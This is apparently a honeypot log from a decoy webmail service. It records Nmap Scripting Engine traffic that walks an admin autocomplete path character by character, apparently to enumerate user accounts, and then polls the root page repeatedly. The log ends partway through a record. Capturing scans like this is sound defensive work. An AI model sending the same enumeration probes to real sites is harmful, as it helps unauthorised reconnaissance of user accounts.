  <134>1 2026-04-08T04:38:26.630630+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/q" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/q", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:26.779996+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/r" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/r", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:26.929147+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/s" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/s", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:27.079388+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/t" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/t", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:27.228602+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/u" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/u", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:27.377920+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/v" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/v", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:27.527231+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/w" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/w", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:27.676350+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/x" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/x", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:27.826671+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/y" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/y", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:27.975852+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/z" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/z", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:28.126269+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/." remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/.", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:28.275457+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/-" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/-", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:28.424618+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/1" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/1", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:28.573959+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/2" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/2", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:28.723224+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/3" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/3", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:28.873171+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/4" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/4", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:29.023279+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/5" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/5", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:29.172406+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/6" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/6", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:29.321598+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/7" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/7", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:29.471054+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/8" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/8", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:29.620504+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/9" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/9", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:29.769853+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/+" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/+", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:34
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:34.931252+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:38:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:45.098128+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:38:55
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:55.266996+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:39:05
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:39:05.431784+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:39:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:39:15.596497+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:39:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:39:25.760275+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:39:35
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:39:35.925315+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:39:46
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:39:46.095686+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:39:56
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:39:56.264640+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:40:06
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:40:06.430236+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:40:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:40:16.602221+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:40:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:40:26.773947+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:40:36
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:40:36.941690+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:40:47
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:40:47.110840+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:40:57
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:40:57.275605+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:41:07
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:41:07.440749+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:41:17
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:41:17.614316+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:41:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:41:27.787076+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:41:37
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:41:37.947686+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:41:48
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:41:48.113508+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:41:58
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:41:58.276967+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:42:08
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:42:08.442086+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:42:18
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:42:18.609988+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:42:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:42:28.784215+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:42:38
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:42:38.953393+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:42:49
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:42:49.118081+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:42:59
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:42:59.284941+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:43:09
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:43:09.458144+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:43:19
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:43:19.623019+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:43:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:43:29.788571+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:43:39
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
